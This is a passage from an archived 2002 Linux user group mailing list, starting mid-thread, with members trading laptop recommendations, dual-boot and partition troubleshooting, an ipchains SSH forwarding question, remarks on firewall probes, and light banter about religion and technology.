it > > > > > > while still being able to use my current install? > > > > > > > > > > Try win4lin. It lets you run windows as a window inside your > > > > > GNU/Linux environment. Unlike VMWare and friends it is not a VM. > > > > > Also, unlike WINE it actually works and works well. It will even let > > > > > windows use (read/write) to your GNU/Linux file systems and such. It > > > > > is not free, but neither is M$ Windows (so I assume you dont have a > > > > > problem with that) and it is by far the best way to 'suffer' M$ while > > > > > not having to 'leave' a real operating system. > > > > > > > > > > -Derek > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > > > UHgqeghEeXKGOxPtBOCylhE= > > > =GPfW > > > -----END PGP SIGNATURE----- > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9Bht/Q7yNnsYcupwRAhNWAKChScTJATCgmuNIRvNoSCKzhbKd5QCgiJ1C > UyLE5jAFRuvxRSWhfXHE6dI= > =4T27 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:27:13 -0400 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> Message-ID: <3D069561.41A184B1@georgetoft.com> I remember my friend's mother's reaction when she found out he had the soundtrack from Saturday Night Fever (remember the Bee Gees?) - Devil music she said it was. Here we are, 24 years later, and we all seem to have survived. 24 years from now, when everyone has a PDA watch with personal locators, integrated video phone, full Internet connectivity, proximity transceivers for POS purchasing, full-motion color video capture capability and onboard MPEG-12 compression on its puny 1TB memory card, we'll look back at those that thought the Internet was evil and smile at their naivity. Anyone read the book "The Road Ahead" by Bill Gates? Excellent book, and the CD in the back (if you can find a Windows box that will actually run it) has a great peak into the future. George Greg wrote: > > Heeeeeey....!!!! > > Put the cat down and step away from the keyboard! > haha, just joking > > Internet is evil? > Damn! sometimes I still feel like I am living in dark ages. > When do these morons realize that technology is never good or bad! > It is neutral and only what you do with it is good or bad! > > For what it's worth I could probably use some Christian distro and host > pron on it. (LOL) > How does this sound to you all? Whould that constitute blasphemy? > > Greg > > Voltage Spike wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > > > > >>What *this* site is is yet another Special Interests Group with links > >>to software related to their interest. It's no different, really, > >>than an animal lover offering links to screensavers, wallpapers, pet > >>interaction programs, and the like. Or any low-budget advocacy group > >>sharing info on using Linux to advance the cause. > >> > >> > > > >Don't worry. We'd laugh at the cat lovers as well. No harm > >intended. ;-) > > > > > > > >>I actually did something a *little* similar not that long ago with my > >>own church in an attempt to get people to interact more online. I had > >>some tutorials and the like written up on how to use Linux and ogg > >>vorbis (and was getting into icecast) to allow church members spread > >>around the country and the world to still stay in touch. > >>Hmm.. although in my case, midway through my work, I was told by the > >>Church Board that I was to cease and desist any and all work I was > >>doing since the Internet was evil (no joke) and they thought people > >>should spend less time online, not more. Ah well. > >> > >> > > > >"Evil"? I think I hear the words of an individual with little > >experience. They need to keep in mind that the first amendment doesn't > >just apply to them. > > > >In the case of spending more time offline, that is certainly a common > >thread among society. However, if the religious leader of choice can > >spend a couple of hours a day talking to people, then they should > >respect my right to do the same. > > > >Your project sounds like it is dying to be placed on the PLUG website, > >though. :-) > > > >- -- > > Voltage Spike > > ,,, > > (. .) > >- --ooO-(_)-Ooo-- > >-----BEGIN PGP SIGNATURE----- > >Version: GnuPG v1.0.6 (GNU/Linux) > >Comment: For info see http://www.gnupg.org > > > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN > >+nl5JW8PnnIFGzFr+PUmJrs= > >=xg3K > >-----END PGP SIGNATURE----- > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:39:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bruce and Kathy Pettycrew) Date: Tue, 11 Jun 2002 17:39:09 -0700 Subject: Tux' religious affiliation In-Reply-To: <200206111535.g5BFZ2215165@PlugList.MyButt.Net> Message-ID: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> Free software is, as the Firesign Theatre stated in _Tail of the Giant Rat of Sumatra_, "A Power SO great that it can _only_ be used for good or for evil". From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 01:02:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 11 Jun 2002 18:02:16 -0700 Subject: Tux' religious affiliation In-Reply-To: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> References: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> Message-ID: <1023843737.19030.12.camel@desktop.capnet.lan> --=-PU/tdv41czzO9+h6ubfc Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-06-11 at 17:39, Bruce and Kathy Pettycrew wrote: >=20 > Free software is, as the Firesign Theatre stated in=20 > _Tail of the Giant Rat of Sumatra_, >=20 > "A Power SO great that it can _only_ be used for good or for evil". >=20 And they must have been talking about redmond when they said, "I think we're all bozos on this bus." --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-PU/tdv41czzO9+h6ubfc Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9Bp2Y6He1yLs+JHwRAmivAJ4tLli7hvzBx1nAMWyxN/03BPvp1wCgkoL2 O2fh9khRZGwk7P5UrdoTcLk= =kol7 -----END PGP SIGNATURE----- --=-PU/tdv41czzO9+h6ubfc-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 01:04:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 18:04:32 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206112355.TAA07496@hostinworld6.com> References: <200206112355.TAA07496@hostinworld6.com> Message-ID: <200206111804.32104.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > If you're going to the installfest, i'll burn you a copy. Just don't > expect support from me. I didn't know you could copy laptops so easily. Thanks! > On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > > I am looking into buying a new notebook computer for use as a > > general-purpose machine. One of my primary uses on the old laptop was > > for testing new *nix systems (FreeBSD, various distributions of Linux, > > etc.). > > > > I am considering buying from PC Club (www.pcclub.com), but if anybody > > else has any suggestions, I am willing to listen. > > > > The question I am more interested in, however, is whether I should go > > with an Intel or an AMD mobile processor. Intel seems to have some > > very nice features for their mobile line, but I have been unable to > > locate some good comparisons of the two. If somebody on the list has > > researched this item, I would love to hear from you. > > > > Thank you ahead of time. > > > > PS: I would really love an Apple system, but then I couldn't use it as > > test bed. Still, if someone can sell me on Mac OS X . . . > > > > PPS: I am sorry that I butchered the English language in the above > > message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 13:55:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Wed, 12 Jun 2002 06:55:57 -0700 Subject: code red virus? In-Reply-To: <20020611153210.D11403@lilly.csoft.net> References: <3D06F5CB.84E0A50D@mindspring.com> <20020611153210.D11403@lilly.csoft.net> Message-ID: By "hits" I meant attempts to negotiate the firewall as per the intrusion detection logs. Sorry if I was not clear. On Tuesday 11 June 2002 13:32, you wrote: > How are you defining "hits"? > > > On Wed, Jun 12, 2002 at 12:18:36AM -0700, User wrote: > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 02:14:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 11 Jun 2002 19:14:55 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. In-Reply-To: Message-ID: I'm trying to use the update installation to Mandrake 8.2 to fix the problem; it's uncooporative. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 3:34 PM To: PLUG Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 02:32:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 19:32:14 -0700 Subject: XP/Linux dual boot In-Reply-To: <200206110915.46929.krycom1@cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110841.29148.plug@the-arcanum.org> <200206110915.46929.krycom1@cox.net> Message-ID: <200206111932.18540.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 That's good to know! But how did you do it? Did you set the partitions first using a partition editor? Future reference, and the rest of us might be interested. nathan Am Dienstag 11 Juni 2002 09:15 vormittags schrieb Richard L. Proctor: > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > As far as I know, you can't modify the fat32 partition that XP is on, or > > it will break it's crc consistency and it won't boot. > > > > I don't know if that means the partition table in general or not. > > You might try getting a copy of partition magic 7 and use that. > > If you don't have it, I can loan you a copy of the rescue disks. > > > > nathan > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > drive and SuSE on the other half and as a dual boot system. Works fine!! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BrKyQ7yNnsYcupwRAq/AAJ419YG9aJZzf76FPeu7M3UO5LHTuACfRbM0 sNez/EfY+RNFwZwF559tvD4= =Tvb1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 03:12:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 11 Jun 2002 20:12:25 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111804.32104.voltage_spike@fastmail.fm> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> Message-ID: <200206120313.XAA09992@hostinworld6.com> I meant OSX and I think you knew that. On 11 Jun 2002 18:04:32 -0700, Logan Kennelly wrote: > On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > > If you're going to the installfest, i'll burn you a copy. Just don't > > expect support from me. > > I didn't know you could copy laptops so easily. Thanks! > > > On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > > > I am looking into buying a new notebook computer for use as a > > > general-purpose machine. One of my primary uses on the old laptop was > > > for testing new *nix systems (FreeBSD, various distributions of Linux, > > > etc.). > > > > > > I am considering buying from PC Club (www.pcclub.com), but if anybody > > > else has any suggestions, I am willing to listen. > > > > > > The question I am more interested in, however, is whether I should go > > > with an Intel or an AMD mobile processor. Intel seems to have some > > > very nice features for their mobile line, but I have been unable to > > > locate some good comparisons of the two. If somebody on the list has > > > researched this item, I would love to hear from you. > > > > > > Thank you ahead of time. > > > > > > PS: I would really love an Apple system, but then I couldn't use it as > > > test bed. Still, if someone can sell me on Mac OS X . . . > > > > > > PPS: I am sorry that I butchered the English language in the above > > > message. I am hungry, and my brain is not working properly. > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 03:22:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 20:22:05 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111804.32104.voltage_spike@fastmail.fm> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> Message-ID: <1023852125.3d06be5dac384@webmail.freedom2surf.net> Quoting Logan Kennelly : > On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > > If you're going to the installfest, i'll burn you a copy. Just don't > > expect support from me. > > I didn't know you could copy laptops so easily. Thanks! In case the "laptop replicator" does work (it's a M$ product, right?) my boss has a Toshiba Satellite 2805 that is going on eBay later this week (unless someone else snaps it up first). 650mHz Celeron, 6Gb HDD, DVD, 13.3in TFT, modem, ethernet - excellent condition; it rarely left the office. They are going for $575~675 on eBay. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:02:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 11 Jun 2002 22:02:10 -0700 (PDT) Subject: New Notebook Recommendations? In-Reply-To: <1023852125.3d06be5dac384@webmail.freedom2surf.net> Message-ID: <20020612050210.71089.qmail@web13405.mail.yahoo.com> I love my Dell Inspiron 8100 and I dual boot FreeBSD 4.5 (soon to be 4.6) and Win98se with it. I have some compatibility problems with it but I've been able to work around them ok. The casing is a little flimsy and it can get pretty hot depending on what you are doing. 2 thumbs up, a must see. http://www.openbsd.org/c2k2/hin/dscn0775.jpg Here you see a OpenBSD hacker tapping away at his. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:35:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Tue, 11 Jun 2002 22:35:48 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> Depends what you want to spend really. I bought one of the satellite 5005-507's with the gf4 video that rocks. You can't beat 1600x1200 on a laptop with a burner for friendly backups on the fly or lan gaming on the clock getting decent framerates with 4xAA turned on. I've heard of bios issues with lockups and the proc running at a lower frequency, but honestly I've never had a bit of problem with it. ACPI gets a bit flakey in XP as the display won't shut off (only the screensaver will kick in), but im sure that's more M$'s fault than Toshiba's. Not sure how the newer dell's are, but my company uses dell exclusively, and just about every laptop ive seen floating around is broken, usually with a keyboard. The RMA fix? Replace the motherboard in them systematically. My partner's won't post before shutting itself down currently... I've got an inspiron 8000 that locks constantly on me, so much I use my satellite more for work. I reboot the Satellite every few weeks, even in and out of sleep mode daily, never hard shutdown. Only problem with the satellite is no serial port which makes configuring routers difficult, but I got a usb serial adapter for 30 bucks that works flawlessly for that. My satellite also cost about 1200 less than a comprably equipped dell inspiron. my two cents... -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan Kennelly Sent: Tuesday, June 11, 2002 12:24 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: New Notebook Recommendations? I am looking into buying a new notebook computer for use as a general-purpose machine. One of my primary uses on the old laptop was for testing new *nix systems (FreeBSD, various distributions of Linux, etc.). I am considering buying from PC Club (www.pcclub.com), but if anybody else has any suggestions, I am willing to listen. The question I am more interested in, however, is whether I should go with an Intel or an AMD mobile processor. Intel seems to have some very nice features for their mobile line, but I have been unable to locate some good comparisons of the two. If somebody on the list has researched this item, I would love to hear from you. Thank you ahead of time. PS: I would really love an Apple system, but then I couldn't use it as test bed. Still, if someone can sell me on Mac OS X . . . PPS: I am sorry that I butchered the English language in the above message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Tue, 11 Jun 2002 22:39:08 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206120313.XAA09992@hostinworld6.com> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> <200206120313.XAA09992@hostinworld6.com> Message-ID: <200206112239.13132.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 11 June 2002 20:12, Bryce "C." wrote: > I meant OSX and I think you knew that. Maybe I did and maybe I didn't. All I know is that I can pick up a Mac OS 10.1 upgrade disk if I want the system. I am sure that it would have problems with the VIA chipset, though. ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9Bt5/pNoctRtUIRQRAjJnAJwI/N7EYz1IfBxOzgQ6GsTCmirI4ACdFliF bnHPUu9YDMJeBsl2RFBU3Xc= =fzAI -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 08:06:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 12 Jun 2002 01:06:51 -0700 Subject: New Notebook Recommendations? In-Reply-To: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> References: <004701c211d3$021c5ca0$0a64a8c0@internal.nutsac.org> Message-ID: <200206120106.55939.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would have to agree with that. The last company I worked for used exclusively Toshiba laptops, and switched to Dells. They were absolutely horrible. But the Toshiba's were tried and true work horses. I personally own two IBM Thinkpads and wouldn't ever own anything else. Though KDS has some very nice laptops out now. My favorite are the Thinkpads. I use a 600E, Pii 400 with 288mb ram and a 18gb hdd and everything in it works with linux great. I use only home brews of slackware. And none of my machines have ever seen windows, so I can't tell you how it behaves in that respect. The only part of my 600E that didn't work was the modem, (mwave) which now has kernel support! Though I use a Xircom 10/100/v.90 cardbus card, so I haven't tried the mwave anyway. It uses the neomagic driver, or the frame buffer, both work great. I have seen them around for sale in the $300-700 range... I absolutely love it! nathan Am Dienstag 11 Juni 2002 10:35 nachmittags schrieb Mike Butash: > Depends what you want to spend really. I bought one of the satellite > 5005-507's with the gf4 video that rocks. You can't beat 1600x1200 on a > laptop with a burner for friendly backups on the fly or lan gaming on the > clock getting decent framerates with 4xAA turned on. I've heard of bios > issues with lockups and the proc running at a lower frequency, but honestly > I've never had a bit of problem with it. ACPI gets a bit flakey in XP as > the display won't shut off (only the screensaver will kick in), but im sure > that's more M$'s fault than Toshiba's. > > Not sure how the newer dell's are, but my company uses dell exclusively, > and just about every laptop ive seen floating around is broken, usually > with a keyboard. The RMA fix? Replace the motherboard in them > systematically. My partner's won't post before shutting itself down > currently... I've got an inspiron 8000 that locks constantly on me, so > much I use my satellite more for work. I reboot the Satellite every few > weeks, even in and out of sleep mode daily, never hard shutdown. Only > problem with the satellite is no serial port which makes configuring > routers difficult, but I got a usb serial adapter for 30 bucks that works > flawlessly for that. My satellite also cost about 1200 less than a > comprably equipped dell inspiron. > > my two cents... > > -mbutash > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan > Kennelly > Sent: Tuesday, June 11, 2002 12:24 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: New Notebook Recommendations? > > > I am looking into buying a new notebook computer for use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. > > The question I am more interested in, however, is whether I should go > with an Intel or an AMD mobile processor. Intel seems to have some very > nice features for their mobile line, but I have been unable to locate > some good comparisons of the two. If somebody on the list has > researched this item, I would love to hear from you. > > Thank you ahead of time. > > PS: I would really love an Apple system, but then I couldn't use it as > test bed. Still, if someone can sell me on Mac OS X . . . > > PPS: I am sorry that I butchered the English language in the above message. > I am hungry, and my brain is not working properly. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BwEfQ7yNnsYcupwRAuIpAJ4ivKW8Ym79toUFEkKtxrjugjbrxgCdHgMK MtWfxqJWDrvlCYJLCZBDNjk= =I3d1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:07:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Steve Holmes) Date: Tue, 11 Jun 2002 07:07:39 -0700 Subject: SSH and Firewalls? Message-ID: <20020611070735.A1557@lnx3.holmesgrown.com> Question about running ssh over a masqueraded network: I have a linux box that serves as the "point" machine for my network on which I forward ports with ipchains (2.2 kernel) to to inside amachines which each run sshd. My outside machine currently is not running ssh yet. If the default policy on my input chain is ACCEPT, I can successfully forward non standard ports through to specific machines an establish ssh sessions on them with no problems. If I default the input chain to DENY, as is done in endoshield script, The connections time out and I cannot connect. In both cases, I forward the same ports. Bottom line, If I use endoshield and add on the ipfwadm commands to forward the ports mentioned above, connections time out; If I do not use endoshield but use a simpler script that basically leaves the input chain wide open, I can establish the ssh sessions - no problem. Any ideas out there, dispite this confusing message? From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 11:46:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 12 Jun 2002 07:46:20 -0400 (EDT) Subject: InstallFest Questionnaire? Message-ID: Has there been any thought about a customer feedback questionnaire for the InstallFest? ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 13:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 12 Jun 2002 06:27:50 -0700 Subject: SSH and Firewalls? In-Reply-To: <20020611070735.A1557@lnx3.holmesgrown.com> References: <20020611070735.A1557@lnx3.holmesgrown.com> Message-ID: <1023888470.9454.2.camel@barney.azapple.com> On Tue, 2002-06-11 at 07:07, Steve Holmes wrote: > Question about running ssh over a masqueraded network: > > I have a linux box that serves as the "point" machine for my network > on which I forward ports with ipchains (2.2 kernel) to to inside > amachines which each run sshd. My outside machine currently is not > running ssh yet. If the default policy on my input chain is ACCEPT, I > can successfully forward non standard ports through to specific > machines an establish ssh sessions on them with no problems. If I > default the input chain to DENY, as is done in endoshield script, The > connections time out and I cannot connect. In both cases, I forward > the same ports. > > Bottom line, If I use endoshield and add on the ipfwadm commands to > forward the ports mentioned above, connections time out; If I do not > use endoshield but use a simpler script that basically leaves the > input chain wide open, I can establish the ssh sessions - no problem. ---- been a while since I used ipchains and not seeing your script, what I think is happening is that the input chains are considered before your forward chains and thus if you policy is to DENY, then the packets are denied before they ever hit the 'forward' chains. Why not specifically allow the specific ports/ip addresses on input rules and let the forward handle where they are going? The same considerations would probably have to be given to 'output' rules. Lastly and perhaps most importantly - all the logging rule so you can inspect your logs to see which rule is specifically blocking your attempts. Craig From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:54:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Tue, 11 Jun 2002 13:54:05 -0700 Subject: This is going to sound really stupid but Message-ID: <200206111354.05153.dan_lund@hotmail.com> I have a question.. How do I unsubscribe, so that I can subscribe again? I'm not in the database (my email address isn't) of people who are subscribed, but I get the list (explain that one?) and I need to get off of this digest-style mailing preference! help :) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:08:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 16:08:28 -0400 Subject: test Message-ID: <20020611200830.DCMI29627.lakemtao01.cox.net@smtp.east.cox.net> test From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:23:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Tue, 11 Jun 2002 16:23:32 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am 